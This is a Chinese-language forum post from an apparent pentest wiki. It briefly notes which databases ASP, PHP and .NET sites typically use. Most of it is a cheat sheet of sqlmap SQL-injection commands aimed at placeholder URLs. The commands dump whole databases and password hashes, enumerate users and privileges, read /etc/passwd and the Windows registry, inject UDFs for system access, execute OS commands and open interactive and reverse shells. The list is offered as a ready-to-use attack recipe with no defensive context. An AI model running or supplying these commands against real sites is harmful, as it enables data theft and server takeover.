设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 数据库 › [20752] 2017-05-17_如何查看网站默认数据库
返回列表 发新帖
查看: 1|回复: 0

[20752] 2017-05-17_如何查看网站默认数据库

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2017-05-17_如何查看网站默认数据库 如 何 查 看 网 站 默 认 数 据 库 原 创   l e m o n   L e m o n S e c   2 0 1 7 - 0 5 - 1 7 根 据 不 同 网 站 ， 不 同 的 数 据 库 ， 对 应 不 同 的 管 理 方 式 a s p 网 站 类 ， 大 部 分 是 直 接 的 a c c e s s 数 据 库 存 储 。 直 接 用 o f f i c e   a c c e s s 就 可 以 打 开 查 看 和 编 辑 。 p h p 类 网 站 ， 多 用 m y s q l 数 据 库 ， 这 种 库 可 以 采 用 在 线 程 序 管 理 的 方 式 ， 比 如 p h p m y a d m i n 就 可 以 ， 也 可 以 使 用 电 脑 客 户 端 管 理 ， 比 如 N a v i c a t   f o r   M y S Q L 就 很 不 错 。 n e t 类 网 站 ， 多 采 用 m s s q l 数 据 库 ， 这 种 数 据 也 可 以 在 线 查 看 ， 如 果 电 脑 端 管 理 的 话 ， 使 用 s q l 2 0 0 0 等 标 准 客 户 端 就 可 以 查 看 管 理 的 。 s q l 注 入 命 令 ​ ​   s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – c u r r e n t - u s e r   # 获 取 当 前 用 户 名 称 s q l m a p   - u   “ h t t p : / / w w w . x x o o . c o m / n e w s ? i d = 1 ″   – c u r r e n t - d b   # 获 取 当 前 数   据 库 名 称 s q l m a p   - u   “ h t t p : / / w w w . x x o o . c o m / n e w s ? i d = 1 ″   – t a b l e s   - D   “ d b _ n a m e ” # 列   表 名 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – c o l u m n s   - T   “ t a b l e n a m e ” u s e r s - D   “ d b _ n a m e ” - v   0   # 列 字 段   s q l m a p     - u     “ h t t p : / / u r l / n e w s ? i d = 1 ″     – d u m p     - C     “ c o l u m n _ n a m e ”     - T   “ t a b l e _ n a m e ” - D   “ d b _ n a m e ” - v 0   # 获 取 字 段 内 容   * * * * * * * * * * * * * * * * * * 信 息 获 取 * * * * * * * * * * * * * * * * * * s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – d b m s   “ M y s q l ”   – u s e r s   #   d b m s   指 定 数   据 库 类 型 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – u s e r s   # 列 数 据 库 用 户 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – d b s # 列 数 据 库 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – p a s s w o r d s   # 数 据 库 用 户 密 码 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – p a s s w o r d s - U   r o o t   - v   0   # 列 出 指 定 用 户   数 据 库 密 码 s q l m a p     - u     “ h t t p : / / u r l / n e w s ? i d = 1 ″       – d u m p     - C     “ p a s s w o r d , u s e r , i d ”     - T   “ t a b l e n a m e ” - D   “ d b _ n a m e ” – s t a r t   1   – s t o p   2 0   # 列 出 指 定 字 段 ， 列 出 2 0   条 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – d u m p - a l l   - v   0   # 列 出 所 有 数 据 库 所 有 表 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – p r i v i l e g e s   # 查 看 权 限 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – p r i v i l e g e s   - U   r o o t   # 查 看 指 定 用 户 权 限 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – i s - d b a   - v   1   # 是 否 是 数 据 库 管 理 员 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – r o l e s   # 枚 举 数 据 库 用 户 角 色 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – u d f - i n j e c t   # 导 入 用 户 自 定 义 函 数 （ 获 取   系 统 权 限 ！ ） s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – d u m p - a l l   – e x c l u d e - s y s d b s   - v   0   # 列   出 当 前 库 所 有 表 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – u n i o n - c o l s   # u n i o n   查 询 表 记 录 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – c o o k i e   “ C O O K I E _ V A L U E ” # c o o k i e 注 入 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″ - b   # 获 取 b a n n e r 信 息 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – d a t a   “ i d = 3 ″ # p o s t 注 入 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″ - v   1   - f   # 指 纹 判 别 数 据 库 类 型 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – p r o x y “ h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 1 8 ”   # 代 理 注   入 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″ – s t r i n g ” S T R I N G _ O N _ T R U E _ P A G E ” #   指   定 关 键 词 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – s q l - s h e l l   # 执 行 指 定 s q l 命 令 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – f i l e   / e t c / p a s s w d s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – o s - c m d = w h o a m i   # 执 行 系 统 命 令 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – o s - s h e l l   # 系 统 交 互 s h e l l   s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – o s - p w n   # 反 弹 s h e l l s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – r e g - r e a d   # 读 取 w i n 系 统 注 册 表 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – d b s - o   “ s q l m a p . l o g ” # 保 存 进 度 s q l m a p   - u   “ h t t p : / / u r l / n e w s ? i d = 1 ″   – d b s   - o   “ s q l m a p . l o g ”   – r e s u m e   # 恢 复   已 保 存 进 度
查 看 更 多 文 章 ， 关 注 下 方 二 维 码
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:41 , Processed in 0.151435 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表